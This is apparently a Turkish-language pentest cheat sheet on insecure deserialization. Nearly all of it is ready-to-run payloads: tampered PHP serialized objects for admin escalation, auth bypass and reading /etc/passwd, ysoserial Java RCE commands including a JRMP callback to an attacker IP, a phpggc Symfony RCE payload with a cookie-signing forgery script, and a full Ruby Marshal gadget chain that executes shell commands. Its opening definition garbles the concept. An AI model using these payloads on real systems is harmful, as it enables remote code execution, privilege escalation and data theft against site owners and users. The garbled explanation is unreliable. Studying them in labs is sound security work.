Insecure Deserialization

Insecure Deserialization

Insecure Deserialization, kullanıcı tarafından kontrol edilebilen verilerin bir web sitesi tarafından serileştirilmesidir. Bu potansiyel olarak bir saldırganın zararlı verileri uygulama koduna aktarmak için serileştirilmiş nesneleri manipüle etmesini sağlar. Hatta serileştirilmiş bir nesneyi tamamen farklı bir sınıftan bir nesne ile değiştirmek bile mümkündür.

Endişe verici bir şekilde, web sitesinde mevcut olan herhangi bir sınıfa ait nesneler, hangi sınıfın beklendiğine bakılmaksızın serileştirilecektir. Birçok deserialization tabanlı saldırı deserialization tamamlanmadan önce tamamlanır. Bu, web sitesinin kendi işlevselliği kötü amaçlı nesneyle doğrudan etkileşime girmese bile, deserializasyon sürecinin kendisinin bir saldırı başlatabileceği anlamına gelir. Bu nedenle, mantığı güçlü bir şekilde yazılan dillere dayanan web siteleri de bu tekniklere karşı savunmasız olabilir.

Saldırı Yöntemleri

Veri Değerlerini Değiştirme

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

Veri Tipini Değiştirme

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"q56idwg2i18xkqp57f2qme64va8hd9pj";}
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

Dosya Okuma

O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:19:"users/wiener/avatar";}
O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:11:"/etc/passwd";}

Object Injection

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lfkxpxd545wnk0fnhmnscqajliql7gcl";}
O:11:"CustomClass":1:{s:14:"lock_file_path";s:11:"/etc/passwd";}

Java Deserialization

YsoSerial: https://github.com/frohoff/ysoserial

java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsCollections4 'whoami' | base64 -w 0
./java -jar ysoserial-all.jar "JRMPClient" "10.100.13.200:80" | base64 -w 0

./java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections1 "ping -c 3 10.100.13.200"
tcpdump -i tap0 icmp

PHP Deserialization

phpggc Symfony/RCE4 exec 'whoami' | base64 -w 0
<?php
$object = "<PAYLOAD>";
$secretKey = "<PHPINFO_SECRETKEY>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>

Ruby Deserialization

gem install rails
gem install sprockets
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0  , :data => "<%= `whoami` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
		# because it autoloads Gem::Package which is
		# required in rest of the chain
                [Gem::Installer.allocate,$a] 
            end
        end
    end
end

final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final)).gsub("\n", "")

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/deserialization

Last updated